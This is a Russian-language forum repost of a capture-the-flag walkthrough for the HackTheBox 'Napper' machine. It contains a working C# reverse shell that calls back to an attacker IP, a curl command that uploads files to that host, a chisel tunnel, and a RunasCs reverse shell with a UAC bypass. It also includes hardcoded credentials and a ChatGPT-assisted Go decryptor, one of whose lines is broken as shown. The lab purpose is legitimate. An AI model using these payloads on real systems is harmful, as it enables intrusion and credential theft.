• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Реверсим приложение на Go и пишем декриптор при помощи ChatGPT

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе мы с тобой повысим привилегии в Windows через вскрытое нами приложение на Go. Для этого разберемся с шифрованием, а затем напишем декриптор при помощи ChatGPT. Также на нашем пути встретится бэкдор Naplistener, который мы используем для проникновения в систему.
Наша цель — получение прав суперпользователя на машине Napper с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.240 napper.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Сканер нашел всего два открытых порта: 80 и 443 — служба Microsoft IIS 10.0. При этом поле CommonName сертификата SSL на порте 443 содержит доменное имя, к которому применяется сертификат. Добавляем этот домен в файл /etc/hosts и идем смотреть сайт.

10.10.11.240 napper.htb app.napper.htb
Главная страница сайта
Главная страница сайта

Точка входа​

На главной странице много постов. Внимательно изучаем их и находим инструкцию по Basic-аутентификации на каком‑то ресурсе. В инструкции указаны учетные данные.

Содержимое поста
Содержимое поста

На этапе разведки, если у нас есть домен, никогда не помешает запустить сканер поддоменов. Давай сделаем это.
Для сканирования я использую утилиту Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:

  • -u — URL;
  • -w — словарь;
  • -t — количество потоков;
  • -H — HTTP-заголовок;
  • -fs — фильтр по размеру.
ffuf -u "[URL]https://napper.htb/[/URL]" -H 'Host: FUZZ.napper.htb' -t 128 -w subdomains-top1million-110000.txt -fs 5602
Для просмотра ссылки Войди или Зарегистрируйся
Спустя пару минут нашли еще один поддомен. Добавляем его в /etc/hosts.

10.10.11.240 napper.htb app.napper.htb internal.napper.htb
Basic-авторизация
Basic-авторизация

На сайте нас встречает Basic-аутентификация. Используем найденные ранее учетные данные и получаем доступ к сайту с единственным постом.

Главная страница сайта internal.napper.htb


Главная страница сайта internal.napper.htb

Точка опоры​

Здесь упоминается бэкдор Naplistener в службе Microsoft Exchange.

Содержимое поста


Содержимое поста
Возможно, этот бэкдор присутствует на сервере, поэтому проверим, не откроется ли страница /ews/MsExgHealthCheckd.

Запросы в Burp History
Запросы в Burp History

Такая страница есть, поэтому разберемся, как работает бэкдор. Как указано в Для просмотра ссылки Войди или Зарегистрируйся, страница /ews/MsExgHealthCheckd принимает POST-запрос и выполняет сборку .NET, закодированную в Base64 и переданную в параметре sdafwe3rwe23.

Исходный код бэкдора
Исходный код бэкдора

Для теста я решил проверить, какими будут ответы сервера, если отправить POST-запрос с нужным параметром и без него.

Запрос без параметров
Запрос без параметров

Запрос с параметром sdafwe3rwe23
Запрос с параметром sdafwe3rwe23

Ответы сервера отличаются, а значит, параметр был обработан. Это свидетельствует о наличии бэкдора на сервере. Теперь напишем реверс‑шелл на языке C#. В коде должен быть класс Run и соответствующий метод.

Код:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;

namespace payload
{
 public class Run
 {
 static StreamWriter streamWriter;

 public static void Main(string[] args)
 {
  Run runInstance = new Run();
 }

 public Run() {
  using (TcpClient client = new TcpClient("10.10.16.33", 4321))
  {
   using (Stream stream = client.GetStream())
   {
    using (StreamReader rdr = new StreamReader(stream))
    {
     streamWriter = new StreamWriter(stream);

     StringBuilder strInput = new StringBuilder();

     Process p = new Process();
     p.StartInfo.FileName = "powershell.exe";
     p.StartInfo.CreateNoWindow = true;
     p.StartInfo.UseShellExecute = false;
     p.StartInfo.RedirectStandardOutput = true;
     p.StartInfo.RedirectStandardInput = true;
     p.StartInfo.RedirectStandardError = true;
     p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
     p.Start();
     p.BeginOutputReadLine();

     while (true)
     {
      strInput.Append(rdr.ReadLine());
      p.StandardInput.WriteLine(strInput);
      strInput.Remove(0, strInput.Length);
     }
    }
   }
  }
 }

 private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
 {
  StringBuilder strOutput = new StringBuilder();

  if (!String.IsNullOrEmpty(outLine.Data))
  {
   try
   {
    strOutput.Append(outLine.Data);
    streamWriter.WriteLine(strOutput);
    streamWriter.Flush();
   }
   catch (Exception err) { }
  }
 }
 }
}
После компиляции исполняемого файла его нужно будет закодировать в Base64 с помощью PowerShell.

[convert]::ToBase64String((Get-Content -path "payload.exe" -Encoding byte))

Запускаем листенер на локальном хосте:

rlwrap nc -lvp 4321
И выполняем запрос к серверу, где передаем закодированную сборку .NET.

Запрос на сервер
Запрос на сервер

Почти мгновенно получаем бэкконект и забираем первый флаг.

Сессия на сервере
Сессия на сервере
Флаг пользователя
Флаг пользователя

Продвижение​

Мы в системе, а значит, пора собирать информацию для повышения привилегий. Я по традиции буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост исполняемый файл для Windows и запустим сканирование. В выводе будет много информации, поэтому ищем только важные моменты, которые помогут в продвижении.

В системе есть дополнительный администратор — учетная запись backup.

Список пользователей
Список пользователей
На хосте работает служба Elasticsearch 8.8.0.

Активные службы
Активные службы

Также в каталоге Temp на диске C: есть каталог www, предположительно относящийся к веб‑серверу.

Содержимое каталога C:\Temp
Содержимое каталога C:\Temp

При изучении этой папки становится понятно, что здесь расположен сайт internal, но тут не один пост, а два.

Посты в блоге
Посты в блоге

Скрытый пост сообщает о том, что пароль пользователя backup хранится в базе Elastic.

Содержимое поста
Содержимое поста

Проблема в том, что пароль зашифрован и для работы используется какой‑то специальный клиент, который расположен во вложенном каталоге.

Содержимое каталога internal-laps-alpha
Содержимое каталога internal-laps-alpha

Для загрузки файлов с удаленного хоста очень удобно использовать Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запускаем сам веб‑сервер:

python3 HTTPServerWithUpload.py 80
На удаленном хосте, с которого нужно увести файл, для загрузки используем curl.

C:\Windows\System32\curl.exe -v -X POST [URL]http://10.10.16.33/[/URL] -H "Content-Type: multipart/form-data" -F file=@".\a.exe"
Загрузка файла
Загрузка файла

Но для работы с Elasticsearch нам нужны учетные данные.


Пароль от Elasticsearch​

Для поиска паролей в файлах Elasticsearch переходим в каталог службы и в директории data запускаем поиск всех файлов, содержащих подстроку passw.

findstr /s /i /m "passw" .\*
Список файлов с паролями
Список файлов с паролями

Файлов найдено не так много, поэтому просто читаем каждый из них. Находим учетные данные Elastic вот в таком файле:

.\indices\n5Gtg7mtSVOUFiVHo9w-Nw\0\index\_se.cfs
Содержимое файла \_se.cfs
Содержимое файла \_se.cfs

Осталось подключиться к службе. Но так как ее порт открыт только для адреса 127.0.0.1, нам нужно построить сетевой туннель, для чего пригодится утилита Для просмотра ссылки Войди или Зарегистрируйся. На локальном хосте запустим сервер, ожидающий подключения (параметр --reverse) на порт 8888 (параметр -p):

./chisel.bin server -p 8888 --reverse
Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сервера и порт для подключения, а также тип туннеля R для ретрансляции трафика с порта 9200 нашего локального сервера на порт 9200 удаленного сервера 127.0.0.1.

.\chisel.exe client 10.10.16.33:8888 R:9200:127.0.0.1:9200
В логах сервера мы должны увидеть сообщение о создании сессии.

Логи chisel server
Логи chisel server

Для подключения к Elasticsearch и дальнейшей работы я буду использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся.

Настройки подключения к Elastic


Настройки подключения к Elastic
Главная страница Elastic


Главная страница Elastic

Локальное повышение привилегий​

Если перейти на вкладку меню Indices, можно найти две записи.

Вкладка Indices
Вкладка Indices

По индексу seed хранится значение поля seed, а по индексу user-00001 — поле с зашифрованными данными blob. При этом данные меняются приблизительно раз в минуту.

Значение seed


Значение seed
Значение user-00001
Значение user-00001


Теперь загружаем найденный исполняемый файл в дизассемблер с возможностью декомпилятора (я использую IDA Pro). Функция main_main типична для Golang. А значит, мы можем использовать особенность строк в Go: они хранятся не как последовательность символов с null-байтом в конце, а как структура, содержащая строку и ее длину.

При запуске программы читаются данные Elastic из файла .env.

Дизассемблированный код функции main_main
Дизассемблированный код функции main_main

После этого приложение делает запрос к базе и обращается к записи seed, а затем — к записи user-00001.

Для просмотра ссылки Войди или Зарегистрируйся
Запись в базе
Запись в базе

Но между ними вызываются функции randStringList, genKey и encrypt. Чтобы было легче с ними разобраться, пройдем их в режиме отладки. Первым делом создадим файл .env, содержащий параметры для подключения к базе.

Код:
ELASTICURI=https://172.16.135.1:9200
ELASTICUSER=elastic
ELASTICPASS=oKHzjZw0EGcRxT2cux5K

А затем перейдем к функции randStringList. Эта функция принимает в качестве параметра длину генерируемой строки, а возвращает случайную строку.

Дизассемблированный код функции randStringList
Дизассемблированный код функции randStringList

Результат функции randStringList (сгенерированная строка)
Результат функции randStringList (сгенерированная строка)

Как видно из кода, генерируемая строка будет длиной 40 байт (28h). В следующий раз эта сгенерированная строка будет использована в функции main_encrypt, куда также будет передан результат выполнения функции main_genKey. При этом сама функция main_genKey принимает в качестве параметра значение seed.

Дизассемблированный код приложения
Дизассемблированный код приложения

Функцию main_genKey удобнее рассмотреть в декомпилированном виде. Она начинается с вызова rand.Seed (строка 23), куда передается значение seed. Эта функция устанавливает зерно для рандома, на основании которого будут в дальнейшем сгенерированы псевдослучайные данные. Потом будет сгенерирована 16-значная псевдослучайная последовательность (строки 24–32).

Декомпилированный код функции genKey
Декомпилированный код функции genKey

Так, у нас есть созданный на основании seed ключ шифрования и есть случайная строка. Эти данные передаются в функцию main_encrypt, где и происходит шифрование по алгоритму AES CFB.

Декомпилированный код функции main_encrypt
Декомпилированный код функции main_encrypt

Чтобы больше понимать код функции шифрования, лучше поискать аналогичные исходные коды, как, например, в Для просмотра ссылки Войди или Зарегистрируйся.

Исходный код для шифрования AES CFB
Исходный код для шифрования AES CFB

В том же репозитории представлена и функция для расшифровки, а нам это еще пригодится.

Исходный код для расшифровки AES CFB
Исходный код для расшифровки AES CFB

Зашифрованная в функции main_encrypt строка записывается в базу Elastic для хранения.

Дизассемблированный код приложения
Дизассемблированный код приложения

А затем создается процесс cmd.exe, выполняющий команду смены пароля пользователю backup. В качестве пароля будет использоваться сгенерированная 40-значная строка, которая была зашифрована и записана в базу Elastic.

Дизассемблированный код приложения
Дизассемблированный код приложения

Параметры команды cmd.exe
Параметры команды cmd.exe

Таким образом, мы можем получить пароль пользователя backup, у которого есть права администратора. Для этого необходимо узнать значение seed, на его основе сгенерировать ключ, затем получить значение blob и расшифровать при помощи ключа. Перейдем к написанию кода.


Декриптор​

Давай попробуем попросить ChatGPT накидать код, который будет обращаться к базе и получать нужные значения из базы Elastic.

Запрос к ChatGPT
Запрос к ChatGPT

Здесь нужно убрать лишний импорт, а в остальном код полностью рабочий.
Код:
package main

import (
 "crypto/tls"
 "encoding/json"
 "fmt"
 "io/ioutil"
 "net/http"
)

func main() {
 url := "https://127.0.0.1:9200/_search?q=*"
 username := "elastic"
 password := "oKHzjZw0EGcRxT2cux5K"

 req, err := http.NewRequest("GET", url, nil)
 if err != nil {
   fmt.Println("Ошибка при создании запроса:", err)
   return
 }

 req.SetBasicAuth(username, password)

 tr := &http.Transport{
   TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
 }

 client := &http.Client{Transport: tr}

 resp, err := client.Do(req)
 if err != nil {
   fmt.Println("Ошибка при выполнении запроса:", err)
   return
 }
 defer resp.Body.Close()

 body, err := ioutil.ReadAll(resp.Body)
 if err != nil {
   fmt.Println("Ошибка при чтении тела ответа:", err)
   return
 }

 var response map[string]interface{}
 err = json.Unmarshal(body, &response)
 if err != nil {
   fmt.Println("Ошибка при разборе JSON:", err)
   return
 }

 hits, ok := response["hits"].(map[string]interface{})
 if !ok {
   fmt.Println("Не удалось получить данные hits из ответа")
   return
 }

 hitsArray, ok := hits["hits"].([]interface{})
 if !ok {
   fmt.Println("Не удалось получить массив hits из ответа")
   return
 }

 for _, hit := range hitsArray {
   hitData, ok := hit.(map[string]interface{})
   if !ok {
     fmt.Println("Не удалось получить данные hit из ответа")
     return
   }

   source, ok := hitData["_source"].(map[string]interface{})
   if !ok {
     fmt.Println("Не удалось получить данные _source из ответа")
     return
   }

   seed, ok := source["seed"].(float64)
   if ok {
     fmt.Printf("Значение seed: %v\n", int32(seed))
   }

   blob, ok := source["blob"].(string)
   if ok {
     fmt.Printf("Значение blob: %s\n", blob)
   }
 }
}

Значения из базы Elastic
Значения из базы Elastic

Теперь осталось взять найденный код для расшифровки пароля, добавить генерацию ключа из seed и объединить с уже имеющимся кодом.

Код:
...
       iSeed := int64(0)

       for _, hit := range hitsArray {
   hitData, ok := hit.(map[string]interface{})
   if !ok {
     fmt.Println("Не удалось получить данные hit из ответа")
     return
   }

   source, ok := hitData["_source"].(map[string]interface{})
   if !ok {
     fmt.Println("Не удалось получить данные _source из ответа")
     return
   }

   seed, ok := source["seed"].(float64)
   if ok {
     iSeed = int64(seed)
     fmt.Printf("Значение seed: %v\n", iSeed)
   }

   blob, ok := source["blob"].(string)
   if ok {
     fmt.Printf("Значение blob: %s\n", blob)

     rand.Seed(iSeed)
     key := make([]byte, 16)
     for i := range key {
     key = byte(1 + rand.Intn(254))
     }

     decodedBlob, err := base64.URLEncoding.DecodeString(blob)
     if err == nil {
     iv := decodedBlob[:aes.BlockSize]
     encPassword := decodedBlob[aes.BlockSize:]

     block, _ := aes.NewCipher(key)
     stream := cipher.NewCFBDecrypter(block, iv)

     decPassword := make([]byte, len(encPassword))
     stream.XORKeyStream(decPassword, encPassword)

     fmt.Printf("Password: '%s'\n", string(decPassword))
     }
   }
 }
...

Для просмотра ссылки Войди или Зарегистрируйся
Все операции нужно делать быстро, так как пароль меняется раз в минуту. Запускаем новый листенер (rlwrap nc -lvp 5432) и выполняем реверс‑шелл от имени другого пользователя с помощью Для просмотра ссылки Войди или Зарегистрируйся.

RunasCs.exe backup bFYPKwOpjceZeDRJrcIjytwMAnCMEZiTnVNlVVWU cmd.exe -r 10.10.16.33:5432 --bypass-uac
Запуск RunasCs
Запуск RunasCs

И сразу же получаем новую сессию от имени пользователя backup.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу